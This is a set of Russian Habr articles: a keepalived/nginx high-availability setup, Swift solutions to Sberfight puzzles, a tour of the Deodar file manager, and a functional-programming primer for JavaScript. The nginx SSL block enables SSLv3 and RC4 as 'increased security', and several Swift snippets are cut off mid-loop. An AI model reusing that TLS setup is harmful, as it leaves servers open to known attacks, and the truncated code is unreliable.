mv /etc/keepalived/keepalived.conf /etc/keepalived/keepalived.conf.old && nano /etc/keepalived/keepalived.conf
```
**[root@nginx-frontend-02 ~]#**
```
nano /etc/keepalived/keepalived.conf
```
```
! Configuration File for keepalived
global_defs {
notification_email {
root@localhost
}
notification_email_from root@localhost
smtp_server localhost
smtp_connect_timeout 30
! Именное обозначение этого сервера
router_id nginx-frontend-02
}
vrrp_instance nginx1 {
! Состояние в котором стартует нода, в этом случае она резерв
state BACKUP
! Наш публичиный интерфейс
interface eth3
! Индификатор, в разных vrrp_instance он должен быть разным
virtual_router_id 101
! Это приоритет этой ноды перед другими, у BACKUP он всегда должен быть ниже чем у MASTER
priority 100
advert_int 1
dont_track_primary
! Тут можно на всякий случай указать наш broadcast
mcast_src_ip x.x.x.55
! Пароль можно указать любой, но одинаковый для серверов
authentication {
auth_type PASS
auth_pass b65495f9
}
! Этот адрес возмет себе сервер, если MASTER в сети упадет
virtual_ipaddress {
x.x.x.1/29 dev eth3
}
}
vrrp_instance nginx2 {
! Эта нода - мастер, она использует адрес из этой секции и ее заменит другая, если эта упадет
state MASTER
! Наш публичиный интерфейс
interface eth3
! Индификатор, в разных vrrp_instance он должен быть разным
virtual_router_id 102
! Для мастера это значение обязательно выше чем для backup
priority 200
advert_int 1
dont_track_primary
! Тут можно на всякий случай указать наш broadcast
mcast_src_ip x.x.x.55
! Пароль можно указать любой, но одинаковый для серверов
authentication {
auth_type PASS
auth_pass b65495f9
}
! Нода стартует с этим адресом, если эта нода упадет, этот адрес подхватит другая
virtual_ipaddress {
x.x.x.2/29 dev eth3
}
virtual_routes {
! Для мастера нужно прописать gateway
default via x.x.x.49 dev eth3 metric 2
}
}
```
**# Добавляем в автозагрузку и запускаем**
```
chkconfig keepalived on && service keepalived restart
```
**# Добавляем разрешения фаервола, больше половины проблем, из за того что мы забываем про фаервол!**
```
iptables -A INPUT -i eth3 -p vrrp -j ACCEPT
iptables -A OUTPUT -o eth3 -p vrrp -j ACCEPT
iptables -A INPUT -d 224.0.0.0/8 -i eth3 -j ACCEPT
iptables-save > /etc/sysconfig/iptables
```
**# Это очень важный шаг
Установка этой переменной позволяет отдельным локальным процессам выступать от имени внешнего (чужого) IP адреса**
```
echo "net.ipv4.ip_nonlocal_bind=1" >> /etc/sysctl.conf && sysctl -p
```
**# Проверяем**
```
/etc/init.d/keepalived restart && tail -f -n 100 /var/log/messages
```
**# Проверяем как между собой общаются наши ноды keepalived**
```
tcpdump -vvv -n -i eth3 host 224.0.0.18
```
**# Мы должны увидеть это**
```
x.x.x.55 > 224.0.0.18: VRRPv2, Advertisement, vrid 102, prio 200, authtype simple, intvl 1s, length 20, addrs: x.x.x.2 auth "b65495f9"
07:50:50.019548 IP (tos 0xc0, ttl 255, id 5069, offset 0, flags [none], proto VRRP (112), length 40)
x.x.x.55 > 224.0.0.18: VRRPv2, Advertisement, vrid 101, prio 200, authtype simple, intvl 1s, length 20, addrs: x.x.x.1 auth "b65495f9"
```
**Теперь можно попеременно выключать сервера, опускать интерфейсы, дергать провода итд
У нас в сети всегда будут присутствовать оба этих адреса и на них будет отвечать наш nginx**

**# Подключаем официальный репозиторий nginx для CentOS 6**
```
rpm -Uhv http://nginx.org/packages/rhel/6/noarch/RPMS/nginx-release-rhel-6-0.el6.ngx.noarch.rpm
```
**# Обновляем систему и устанавливаем nginx**
```
yum update -y
yum install nginx
```
**# Удаляем хосты поумолчанию, по умолчанию там стандартное приветствие nginx**
```
rm -f /etc/nginx/conf.d/default.conf
rm -f /etc/nginx/conf.d/virtual.conf
rm -f /etc/nginx/conf.d/ssl.conf
```
**# Приводим главный конфиг к подобному виду**
```
mv /etc/nginx/nginx.conf /etc/nginx/nginx.conf.old
nano /etc/nginx/nginx.conf
```
```
user nginx;
# Количество процессов ожидаюищих соединения
worker_processes 10;
pid /var/run/nginx.pid;
events {
# Максимальное количество обслуживаемых клиентов онлайн
worker_connections 1024;
# epoll — эффективный метод, используемый в Linux 2.6+ http://nginx.org/ru/docs/events.html
use epoll;
# Рабочий процесс за один раз будет принимать сразу все новые соединения
multi_accept on;
}
error_log /var/log/nginx/error.log warn;
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
connection_pool_size 256;
client_header_buffer_size 4k;
client_max_body_size 100m;
large_client_header_buffers 8 8k;
request_pool_size 4k;
output_buffers 1 32k;
postpone_output 1460;
# Все страницы будут ужиматься gzip
gzip on;
gzip_min_length 1024;
gzip_proxied any;
gzip_proxied expired no-cache no-store private auth;
gzip_types text/plain text/xml application/xml application/x-javascript text/javascript text/css text/json;
gzip_comp_level 5;
gzip_disable "MSIE [1-6]\.(?!.*SV1)";
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 75 20;
server_names_hash_max_size 8192;
ignore_invalid_headers on;
server_name_in_redirect off;
proxy_buffer_size 8k;
proxy_buffers 8 64k;
proxy_connect_timeout 1000;
proxy_read_timeout 12000;
proxy_send_timeout 12000;
# Мы рассказываем где будет храниться кеш, но по умолчанию я его не использую
proxy_cache_path /var/cache/nginx levels=2 keys_zone=pagecache:5m inactive=10m max_size=50m;
# Передаем backend реальный адрес клиента для mod_rpaf
real_ip_header X-Real-IP;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
allow all;
include /etc/nginx/conf.d/*.conf;
}
```
**# Теперь приведем в порядок наш универсальный vhost**
```
nano /etc/nginx/conf.d/all.conf
```
```
upstream web {
# Перечисляем все backend между которыми nginx будет балансировать клиентов, говорим количество fail для баны backend ноды и таймаут
# back01
server 10.211.77.131 weight=10 max_fails=60 fail_timeout=2s;
# back02
server 10.211.77.136 weight=10 max_fails=60 fail_timeout=2s;
}
server {
listen 80;
location / {
proxy_pass http://web;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
```
**# И наш конфиг для работы сайта по SSL, для кажого сайта должен быть свой конфиг со своим сертификатом**
```
nano /etc/nginx/conf.d/ssl.conf
```
```
upstream ssl {
# back01
# server 10.211.77.131 weight=10 max_fails=60 fail_timeout=2s;
# back02
server 10.100.100.63 weight=10 max_fails=60 fail_timeout=2s;
}
server {
listen 443;
ssl on;
ssl_certificate /etc/nginx/ssl/GeoTrustCA.crt;
ssl_certificate_key /etc/nginx/ssl/GeoTrustCA.key;
# Увеличиваем безопасность нашего SSL соединения
ssl_ciphers RC4:HIGH:!aNULL:!MD5:!kEDH;
ssl_session_cache shared:SSL:10m;
ssl_prefer_server_ciphers on;
ssl_protocols SSLv3 TLSv1;
location / {
proxy_pass http://ssl;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
```
**# Запускаем nginx и добавляем его в автозагрузку!**
```
/etc/init.d/nginx start && chkconfig nginx on
```
#### Продолжение следует, спасибо за внимание! | https://habr.com/ru/post/198934/ | null | ru | null |
# Как я Sberfight 2022 проходил на Swift
В 2021 году на просторах интернета случайно увидел Sber на geecko.com, тогда компания Sber проводила fight типа "староверы" против "новокодеров". (Простите за неточности, вспоминаю по памяти.)
И когда запустили конкурс Sberfight я уже автоматически попал в рассылку.
Я относительно молод в Swift и тренировка умений или же проверка навыков на скорость очень привлекла. А формат в стиле "Денди" поднимает давно забытое чувство детства. (Моей любимой игрой были "танчики", "контра" и "червяк Джим"- правда у друзей на "Сеге".)
Однако, первый неприятный сюрприз ждал в условиях конкурса - подсчет баллов. Оказывается подсчет баллов теперь осуществляется - 100 баллов за задание(при учете, что все тест кейсы положительные) и + за скорость(по формуле где Swift имеет коэффициент примерно 1.29, как и JS, а вот максимальный С# - 2). Всего 8 заданий - значит минимум 800 баллов без надбавок. А вот сколько за скорость? Ответ был найден быстро - только взглянув на турнирную таблицу (Топ-1 - примерно - 3400 баллов). То есть 2400 надбавка за скорость (предположим C# - значит в общем за Swift при таком же идеальном выполнении я получу - 2477 баллов). Тут-то интерес начал угасать.
А, эскиз победителей уже нарисовался.
Пройдя два задания и поняв, что быстрее отведенного времени я не успеваю, а значит надбавки за скорость нет. Я взглянул на обновленный топ и увидев (Топ-1 - 5500 баллов) моей грусти не было предела.
Так и закрыл я Sberfight до конца февраля, пока мне на почту не упало письмо от рекрутера Sber. (Что это была массовая рассылка - это понятно, но зачем за два задания из 8 для меня осталось вопросом.) Но такая напоминалка заинтриговала меня глянуть на лидеров и каким же было мое удивление, когда Топ 1 - стоял 3400 баллов. Понятно, кто-то нашел баг, накрутил себе баллов, а теперь все пофиксили. Вот тут интерес и разогрелся, увы оставалось два дня.
Однако, пройти все тест кейсы быстрее отведенного времени для меня все равно осталось непреодолимым.
Ради интереса других и комментариев выложу тут свое решение. Увы, из-за спешки забыл скопировать задания и восстанавливаю по памяти.
Тест #1
Задание:
> Вывести номера тех чисел, которые будут самыми большими при увеличении их на K
>
>
```
func getResult(cash: [Int], k: Int) -> [Int] {
var tempArrOfThiefes: [Int] = []
for index in 0.. cash[ygrek] {
tempArr.append(index)
}
}
print("temp arr count - ", tempArr.count)
if (tempArr.count + 1) >= cash.count {
print("index appended - ", index)
tempArrOfThiefes.append(index + 1 )
tempArr = []
}
}
return tempArrOfThiefes
}
// Test #1
let x = [1,3,4,2]
let k = 2
let res = getResult(cash: x, k: k)
print(res)
```
Тест #2 (тут задание я так и не вспомнил)
```
func getResult(nums: [Int], k: Int) -> Int {
if k == 0 {
return 0
}
var tempInt: Int = 0
var tempArr = nums
var tempK = k
repeat {
for index in 0..
```
Тест #3 (для данного теста на просторах Интернета нашел решение на Python, на которое пытался опираться)
Задание:
> *Мы знаем количество гостей, ваша задача рассадить всех за стол. Однако, некоторые гости дали вам список неприятелей, с которыми они не сядут. Стулья расставили так, что у стола оказалось два крайних места, у которых только один соседний гость. В остальных случаях соседа два. Определите, можно ли рассадить гостей так, чтобы все оказались довольны.*
>
> *Ввод:*
>
> *invited\_list - количество приглашённых гостей, 0**dislike\_list - строчный массив неприятелей, ["1-2,3"] - означает, что гость под номером 1 не сядет с гостями 2 и 3*
>
> *Вывод:*
>
> *Boolean - возможно ли рассадить гостей так, чтобы они все были довольны*
>
> Пример:
>
> invited\_list = 4
>
> dislike\_list = ["1-2", "3-4"]
>
> get\_result(invited\_list, dislike\_list) = True // [1, 4, 2, 3]
>
>
>
>
Python (эргономичностью решения я восхитился, источник решения: https://www.cyberforum.ru/python-tasks/thread2943547.html)
```
def guests_seating( n, dis ):
lis = list( range(1, n + 1) )
bad_pairs = set()
for e in dis:
L, de, R = e.partition('-')
not_frends = set( int(x) for x in R.split(',') )
for nf in not_frends:
bad_pairs.add( frozenset( [int(L), nf] ) )
res = [ [x] for x in lis ]
flag = True
while flag:
flag = False
for x in res:
for y in lis:
if frozenset([x[-1],y]) not in bad_pairs and y not in x:
x.append(y)
flag = True
if len(x) == n:
#return x
return True
return False
#==============================================================================
n = 10
dis = '1-2,4,6,8 3-5,7,9 4-1,2,3 5-2,4 6-3'.split()
print( guests_seating( n, dis ) )
```
```
func getResult(invitedList: Int, dislikeList: [String]) -> Bool {
if invitedList == 0 {
return true
} else if invitedList == 1 {
return true
}
let allGuest = [Int](1...invitedList)
print("allGuest created - ", allGuest)
var badPairs:[Int:[Int]] = [:]
for indexB in 0..
```
Тест #4 (тут все тест кейсы сильно сопротивлялись :) )
Задание:
> Существует массив из N количества 3 видов букв - ["x", "x", "y", "z"]
>
> Если буквы заменить на целые числа, то можно ли получить общую сумму в X число
>
> Пример:
>
> // Test #1
>
> let sub\_array = ["x", "x", "x", "y", "y"]
>
> let k = 12
>
> let result = getResult(sub\_array, k)
>
> print(result)
>
> // = True
>
> // Можно заменить x на 2, y на 3, тогда получится
>
> //[2, 2, 2, 3, 3]
>
>
```
func getResult(_ subArray: [String], _ k: Int) -> Bool {
if subArray.count == 1 {
return true
}
if subArray.count > k {
return false
}
if subArray.count == k {
return true
}
var tempSetOfTypeLetters: Set = []
var dictOfCountOfLetters: [String: Int] = [:]
subArray.forEach { str in
tempSetOfTypeLetters.insert(str)
if !dictOfCountOfLetters.keys.contains(str) {
dictOfCountOfLetters[str] = 1
} else {
dictOfCountOfLetters[str]! += 1
}
}
var totalCount: Int = 0
var tempArray: [Int] = []
for indexA in dictOfCountOfLetters {
tempArray.append(indexA.value)
totalCount = totalCount + indexA.value
}
tempArray = tempArray.sorted{$0>$1}
print("Well done - tempArray is - ", tempArray)
var tempCounter: Int = 0
while tempCounter < k {
tempCounter += 1
var tempArrOfInt:[Int] = []
for indexE in 0..= 0 {
print("<<<---->>>")
print("indexE is - ", indexE)
for indexY in 1..
```
Тест #5 (Тут я упустил, что убирать можно не только первые символы, но и в середине, из-за чего быстрее положенного все тест кейсы не прошел. На том и остановился...)
Задание:
> Дана строка s. Вы можете удалить из нее не более k символов. Определите максимально возможное количество совпадений символов с stringGoal, то есть совпадением считается s[i] = stringGoal[i]. Например, строка "agddb" совпадает с "gdda" только одним символом. Если убрать первый символ, тогда будет уже 3 совпадения - "gddb" "gdda".
>
> Ввод:
>
> s - строка с символами, 0 k - максимальное количество удалений, 0 stringGoal - строка для сравнения
>
> Вывод:
>
> Integer - максимальное количество совпадений s[i] = stringGoal[i]
>
>
> Пример:
>
> s = "agdd"
>
> k = 1
>
> stringGoal = "gdd"
>
> getResult(s, k, stringGoal) = 3
>
>
>
>
>
>
```
extension String {
var length: Int {
return count
}
subscript (i: Int) -> String {
return self[i ..< i + 1]
}
func substring(fromIndex: Int) -> String {
return self[min(fromIndex, length) ..< length]
}
func substring(toIndex: Int) -> String {
return self[0 ..< max(0, toIndex)]
}
subscript (r: Range) -> String {
let range = Range(uncheckedBounds: (lower: max(0, min(length, r.lowerBound)),
upper: min(length, max(0, r.upperBound))))
let start = index(startIndex, offsetBy: range.lowerBound)
let end = index(start, offsetBy: range.upperBound - range.lowerBound)
return String(self[start ..< end])
}
}
func getResult(\_ s: String, \_ k: Int, \_ stringGoal: String) -> Int {
var maxCounterOfMatched: Int = 0
// Первая попытка
// проходит Тестов 6 из 10
var flagFromPrefixToBody: Bool = false
var whileCounter: Int = 0
while whileCounter <= k {
var tempMainString: String = ""
if flagFromPrefixToBody == false {
tempMainString = s.substring(fromIndex: whileCounter)
print("do it 1")
} else {
var tempString = s
if tempString.count > (whileCounter+1) {
let indexToDelete = tempString.firstIndex(of: Character(tempString[whileCounter+1]))!
tempString.remove(at: indexToDelete)
tempMainString = tempString
}
print("do it 2")
}
print("tempMainString is - ", tempMainString)
var counterOfMatched: Int = 0
for indexA in 0..>")
print("Part# 2")
for indexA in 0..= endIndex {
break
}
tempString.removeSubrange(startIndex...endIndex)
print("tempString - ", tempString)
print("do it 4")
var counterOfMatched: Int = 0
for indexC in 0..
``` | https://habr.com/ru/post/654659/ | null | ru | null |
# Рабочая среда «Деодар» для Линукс
Это Norton Commander? Это Volkov Commander? Это Dos Navigator? Это Far Manager?
Нет, это «Деодар» — новая рабочая среда для Линукс.
Деодар хостится на GitHub, основан на Node.js, написан на JavaScript плюс немного C++.
Распространяется по антилицензии Unlicense.org. Безвозмездно, то есть даром.
В данной статье на большом количестве картинок и малом количестве пояснений вы можете ознакомится с тем, что уже есть.
Да, «Деодар» — это такое дерево, Cedrus Deodara растёт высоко в горах, очень красивое.

#### Панели
Русский язык, быстрый поиск в панели.

Жёлтенький — значит выделение, говорят детям и подросткам уже не одно десятилетие. Обратите внимание и на подсветку файлов некоторых видов.

В Линуксе есть такое важное понятие как dotfiles. Их отображение в панели переключается нажатием `Control-точка`

Виртуальный корень. Обычно выход наверх, в предыдущий или родительский каталог отображается двумя точками в верху списка, в данном случае вы не видите этих двух точек, потому что панели Деодара имеют такую способность — считать некоторые каталоги как бы дисками, это для тех, кто хочет сосредоточится на работе в данном каталоге. (Или просто привык)

Количество столбцов можно увеличить или уменьшить нажимая `Control-1` и `Control-2`.

#### Файлы
Диалог начала переноса файлов

Копируются файлы. Есть анимация хода выполнения. Пока-что настроек при копировании нет, все файлы заменяют те, что уже есть с таким же именем, все подкаталоги копируются.

Удаление файлов и папок.

#### Прочее
Имеется простое руководство. Но вы узнаете больше горячих клавиш заглянув в `norton.js` и `edit.js`

Окно вывода, отображает результат исполнения комманд. На время исполнения комманд строка ввода комманд прячется. Зато само окно вывода это полноценная консоль Линукс совместимая с `xterm`.

Имеется поиск файлов по вхождению подстроки в название.

Поиск в содержимом файлов по вхождению подстроки. Найденый файл можно сразу редактировать нажатием `F4`.

Скачок, исторически называвшийся Drive Menu. Меню дисков.

Но дисков в Линуксе нет, зато есть inodes, точки монтирования и прочая, поэтому привычная функция названа самым общим названием «Скачок». Я взял на себя смелость и сменил привычные горячие клавиши для вызова этого окошка, издревле это были `Alt-F1` и `Alt-F2`, в Деодаре, они были заменены на просто `F1` и `F2`. Такой радикальный шаг объясняется тем, что эта возможность используется очень часто.
Правка скачка. Список того куда можно «скакнуть» настраивается самим пользователем, это обычный JavaScript, даже не JSON, то есть можно не просто ввести направление, а написать функцию выполняющую любые действия, например монтирующую диск перед скачком.

#### Правка (редактор)
Правка нового файла начинается нажатием Shift-F4

Правка исходного кода на `JavaScript`.

Белая подсветка.

Чёрная стилистика редактора

Синезелёная расцветка и текст в редакторе

`Shift-Control-C` помечает выделенные стоки, как однострочные заметки (комментарии). `Shift-Control-X` выполняет обратное действие.

После нажатия Shift-Control-X

Поиск в правке. Обратите внимание, что выделеный текст сразу помечается по всему экрану, можно, например выделить имя переменной и сразу увидеть, где и сколько раз она встречается.

Постоянные метки, если нажать Control-M то выделеный текст становится постоянной меткой, можно и просматривать и редактировать, а метка будет везде подсвечена. Погасить можно нажатием тех же клавиш.

`Таб` в правке добавляет отступ к выделеному тексту, `шифт-таб` произведёт обратное действие.

#### Терминал
Хотя задача Деодара во ряде важных функций заменить консоль, для работы в Линуксе стандартный терминал незаменим. Поэтому вы видите `bash` запущеный в Деодаре. Можно нажать `Control-O` и переключаться между `bash` и панелями, в панелях можно править какой-нибуть файл, например.

Можно в том числе запустить ncurses приложение, например Midnight Commander

Тут видно как соединены в единое целое панели и окно вывода. Это важнейшая способность Деодара, идейно наследуется от ещё от самого «Нортона» — системная консоль плотно и удобно интегрирована с остальными функциями.

Запущеное в консоли приложение можно остановить нажав `Control-C`. Чтобы запустить приложение в фоновом режиме к его имени следует добавить амперсанд.

Пример запуска sudo, можно оставить одну панель, очевидно, что терминал поддерживает цвета.

Окно терминала имеет Scroll-Back, буфер истории, чтобы скролить в нём применяется колёсико мышки и горячие клавиши `Control-PageUp`, `Control-PageDown`, `Control-Home`. Так что ошибки в вашем Makefile не пропадут.
`Система`
Все скриншоты в этой статье сделаны с нарочито уменьшеных окошек, это сделано для удобства чтения статьи, на самом деле окно можно распахнуть хоть на весь экран.

Вставка текста. Буфер обмена в консоли связан с системным буфером обмена, можно как видим, выделить URL на сайте GitHub и нажав `Control-Insert` в строке ввода комманд получить данную URL.

Можно так же выделять текст в окне вывода, это делается правой кнопкой мышки.

«Под капотом» у интерфейсной части Деодара, библиотека Интервидение. Вот пример тестового приложения на Интервидении для отладки выборки (фокуса) окон.

#### Заключение
Если кто-то пожелает установить Деодар, заглянуть в исходный код, написать баг-репорт, сделать форк, почитать (или пописать) вики, то домашняя страница проекта на GitHub: [github.com/exebook/deodar](https://github.com/exebook/deodar)
Если возникнут вопросы, можно писать в комментарии а можно создавать issues на github. | https://habr.com/ru/post/218073/ | null | ru | null |
# Принципы функционального программирования в JavaScript
Автор материала, перевод которого мы публикуем сегодня, говорит, что он, после того, как долго занимался объектно-ориентированным программированием, задумался о сложности систем. По словам [Джона Оустерхаута](https://ru.wikipedia.org/wiki/%D0%9E%D1%83%D1%81%D1%82%D0%B5%D1%80%D1%85%D0%B0%D1%83%D1%82,_%D0%94%D0%B6%D0%BE%D0%BD), сложность (complexity) — это всё, что делает тяжелее понимание или модификацию программного обеспечения. Автор этой статьи, выполнив некоторые изыскания, обнаружил концепции функционального программирования наподобие иммутабельности и чистых функций. Применение таких концепций позволяет создавать функции, не имеющие побочных эффектов. Использование этих функций упрощает поддержку систем и даёт программисту некоторые другие [преимущества](https://hackernoon.com/why-functional-programming-matters-c647f56a7691).
[](https://habr.com/company/ruvds/blog/434112/)
Здесь мы поговорим о функциональном программировании и о некоторых его важных принципах. Всё это будет проиллюстрировано множеством примеров кода на JavaScript.
Что такое функциональное программирование?
------------------------------------------
О том, что такое функциональное программирование, можно почитать в [Википедии](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5). А именно, речь там идёт о том, что функциональное программирование — это парадигма программирования, в которой процесс вычисления трактуется как вычисление значений функций в математическом понимании последних. Функциональное программирование предполагает обходиться вычислением результатов функций от исходных данных и результатов других функций, и не предполагает явного хранения состояния программы. Соответственно, не предполагает оно и изменяемости этого состояния.
Сейчас мы, на примерах, разберём некоторые идеи функционального программирования.
Чистые функции
--------------
Чистые функции — это первая фундаментальная концепция, которую нужно изучить для того, чтобы понять сущность функционального программирования.
Что такое «чистая функция»? Что делает функцию «чистой»? Чистая функция должна отвечать следующим требованиям:
* Она всегда возвращает, при передаче ей одних и тех же аргументов, один и тот же результат (такие функции также называют детерминированными).
* Такая функция не обладает побочными эффектами.
Рассмотрим первое свойство чистых функций, а именно тот факт, что они, при передаче им одних и тех же аргументов, всегда возвращают один и тот же результат.
### ▍Аргументы функций и возвращаемые ими значения
Представим себе, что нам надо создать функцию, которая вычисляет площадь круга. Функция, которая не является чистой, принимала бы, в качестве параметра, радиус круга (`radius`), после чего возвращала бы значение вычисления выражения `radius * radius * PI`:
```
const PI = 3.14;
function calculateArea(radius) {
return radius * radius * PI;
}
calculateArea(10); // возвращает 314
```
Почему эту функцию нельзя назвать чистой? Дело в том, что она использует глобальную константу, которая не передаётся ей в качестве аргумента.
Теперь представьте себе, что некие математики пришли к выводу о том, что значением константы `PI` должно являться число `42`, из-за чего было изменено значение этой константы.
Теперь функция, не являющаяся чистой, при передаче ей того же входного значения, числа `10`, вернёт значение `10 * 10 * 42 = 4200`. Получается, что использование здесь такого же, как в прошлом примере, значения параметра `radius`, приводит к возврату функцией другого результата. Исправим это:
```
const PI = 3.14;
function calculateArea(radius, pi) {
return radius * radius * pi;
}
calculateArea(10, PI); // возвращает 314
```
Теперь мы, вызывая эту функцию, всегда будем передавать ей аргумент `pi`. Как результат, функция будет работать только с тем, что передано ей при вызове, не обращаясь к глобальным сущностям. Если проанализировать поведение этой функции, то можно прийти к следующим выводам:
* Если функции передают аргумент `radius`, равный `10`, и аргумент `pi`, равный `3.14`, она всегда будет возвращать один и тот же результат — `314`.
* При вызове её с аргументом `radius`, равным `10` и аргументом `pi`, равным `42`, она всегда будет возвращать `4200`.
#### Чтение файлов
Если наша функция выполняет чтение файлов, то чистой она не будет. Дело в том, что содержимое файлов может меняться.
```
function charactersCounter(text) {
return `Character count: ${text.length}`;
}
function analyzeFile(filename) {
let fileContent = open(filename);
return charactersCounter(fileContent);
}
```
#### Генерирование случайных чисел
Любая функция, которая полагается на генератор случайных чисел, не может быть чистой.
```
function yearEndEvaluation() {
if (Math.random() > 0.5) {
return "You get a raise!";
} else {
return "Better luck next year!";
}
}
```
Теперь поговорим о побочных эффектах.
### ▍Побочные эффекты
Примером побочного эффекта, который может проявиться при вызове функции, является модификация глобальных переменных или аргументов, передаваемых функциям по ссылке.
Предположим, нам нужно создать функцию, которая принимает целое число и выполняет увеличение этого числа на 1. Вот как может выглядеть реализация подобной идеи:
```
let counter = 1;
function increaseCounter(value) {
counter = value + 1;
}
increaseCounter(counter);
console.log(counter); // 2
```
Тут имеется глобальная переменная `counter`. Наша функция, не являющаяся чистой, получает это значение в виде аргумента и перезаписывает его, добавляя к его прежнему значению единицу.
Глобальная переменная меняется, подобное в функциональном программировании не приветствуется.
В нашем случае модификации подвергается значение глобальной переменной. Как в этих условиях сделать функцию `increaseCounter()` чистой? На самом деле, это очень просто:
```
let counter = 1;
function increaseCounter(value) {
return value + 1;
}
increaseCounter(counter); // 2
console.log(counter); // 1
```
Как видите, функция возвращает `2`, но при этом значение глобальной переменной `counter` не меняется. Тут можно сделать вывод о том, что функция возвращает переданное ей значение, увеличенное на `1`, при этом ничего не изменяя.
Если следовать двум вышеописанным правилам написания чистых функций, это приведёт к тому, что в программах, созданных с использованием таких функций, будет легче ориентироваться. Окажется, что каждая функция будет изолирована и не будет оказывать воздействия на внешние по отношению к ней части программы.
Чистые функции стабильны, единообразны и предсказуемы. Получая одни и те же входные данные, такие функции всегда возвращают один и тот же результат. Это избавляет программиста от попыток учесть возможность возникновения ситуаций, в которых передача функции одних и тех же параметров приводит к разным результатам, так как подобное при использовании чистых функций просто невозможно.
### ▍Сильные стороны чистых функций
Среди сильных сторон чистых функций можно отметить тот факт, что код, написанный с их использованием, легче тестировать. В частности, не нужно создавать неких объектов-заглушек. Это позволяет выполнять модульное тестирование чистых функций в различных контекстах:
* Если функции передаётся параметр A — ожидается возврат значения B.
* Если функции передаётся параметр C — ожидается возврат значения D.
В качестве простого примера этой идеи можно привести функцию, которая принимает массив чисел, и при этом ожидается, что она увеличит на единицу каждое число этого массива, вернув новый массив с результатами:
```
let list = [1, 2, 3, 4, 5];
function incrementNumbers(list) {
return list.map(number => number + 1);
}
```
Здесь мы передаём функции массив чисел, после чего используем метод массивов `map()`, который позволяет модифицировать каждый элемент массива и формирует новый массив, возвращаемый функцией. Вызовем функцию, передав ей массив `list`:
```
incrementNumbers(list); // возвращает [2, 3, 4, 5, 6]
```
От этой функции ожидается, что, приняв массив вида `[1, 2, 3, 4, 5]`, она возвратит новый массив `[2, 3, 4, 5, 6]`. Именно так она и работает.
Иммутабельность
---------------
Иммутабельность некоей сущности можно описать как то, что с течением времени она не меняется, или как невозможность изменений этой сущности.
Если иммутабельный объект пытаются изменить — сделать этого не удастся. Вместо этого нужно будет создать новый объект, содержащий новые значения.
Например, в JavaScript часто используется цикл `for`. В ходе его работы, как показано ниже, применяются мутабельные переменные:
```
var values = [1, 2, 3, 4, 5];
var sumOfValues = 0;
for (var i = 0; i < values.length; i++) {
sumOfValues += values[i];
}
sumOfValues // 15
```
На каждой итерации цикла меняется значение переменной `i` и значение глобальной переменной (её можно считать состоянием программы) `sumOfValues`. Как в подобной ситуации поддерживать неизменность сущностей? Ответ лежит в использовании рекурсии.
```
let list = [1, 2, 3, 4, 5];
let accumulator = 0;
function sum(list, accumulator) {
if (list.length == 0) {
return accumulator;
}
return sum(list.slice(1), accumulator + list[0]);
}
sum(list, accumulator); // 15
list; // [1, 2, 3, 4, 5]
accumulator; // 0
```
Тут имеется функция `sum()`, которая принимает массив чисел. Эта функция вызывает сама себя до тех пор, пока массив не опустеет (это базовый случай нашего [рекурсивного алгоритма](https://en.wikipedia.org/wiki/Recursion_(computer_science)#Recursive_functions_and_algorithms)). На каждой такой «итерации» мы добавляем значение одного из элементов массива к параметру функции `accumulator`, не затрагивая при этом глобальной переменной `accumulator`. При этом глобальные переменные `list` и `accumulator` остаются неизменными, до и после вызова функции в них хранятся одни и те же значения.
Надо отметить, что для реализации подобного алгоритма можно воспользоваться методом массивов `reduce`. Об этом мы поговорим ниже.
В программировании распространена задача, когда нужно, на основе некоего шаблона объекта, создать его окончательное представление. Представьте, что у нас есть строка, которую нужно преобразовать в вид, подходящий для использования в качестве части URL, ведущего к некоему ресурсу.
Если решить эту задачу, используя Ruby и задействовав принципы ООП, то мы сначала создадим класс, скажем, назвав его `UrlSlugify`, после чего создадим метод этого класса `slugify!`, который используется для преобразования строки.
```
class UrlSlugify
attr_reader :text
def initialize(text)
@text = text
end
def slugify!
text.downcase!
text.strip!
text.gsub!(' ', '-')
end
end
UrlSlugify.new(' I will be a url slug ').slugify! # "i-will-be-a-url-slug"
```
Алгоритм мы реализовали, и это замечательно. Тут мы видим императивный подход к программированию, когда мы, обрабатывая строку, расписываем каждый шаг её трансформации. А именно — сначала приводим её символы к нижнему регистру, потом убираем ненужные пробелы, и, наконец, меняем оставшиеся пробелы на тире.
Однако в ходе такого преобразования происходит мутация состояния программы.
Справиться с проблемой мутации можно, выполняя композицию функций или объединение вызовов функций в цепочку. Другими словами, результат, возвращаемый функцией, будет использован как входные данные для следующей функции, и так — для всех функций, объединённых в цепочку. При этом исходная строка меняться не будет.
```
let string = " I will be a url slug ";
function slugify(string) {
return string.toLowerCase()
.trim()
.split(" ")
.join("-");
}
slugify(string); // i-will-be-a-url-slug
```
Здесь мы используем следующие функции, представленные в JavaScript стандартными методами строк и массивов:
* `toLowerCase`: преобразует символы строки к нижнему регистру.
* `trim`: убирает пробельные символы из начала и конца строки.
* `split`: разбивает строку на части, помещая слова, разделённые пробелами, в массив.
* `join`: формирует на основе массива со словами строку, слова в которой разделены тире.
Эти четыре функции и позволяют создать функцию для преобразования строки, не меняющую саму эту строку.
Ссылочная прозрачность
----------------------
Создадим функцию `square()`, возвращающую результат умножения числа на это же число:
```
function square(n) {
return n * n;
}
```
Это чистая функция, которая всегда, для одного и того же входного значения, будет возвращать одно и то же выходное значение.
```
square(2); // 4
square(2); // 4
square(2); // 4
// ...
```
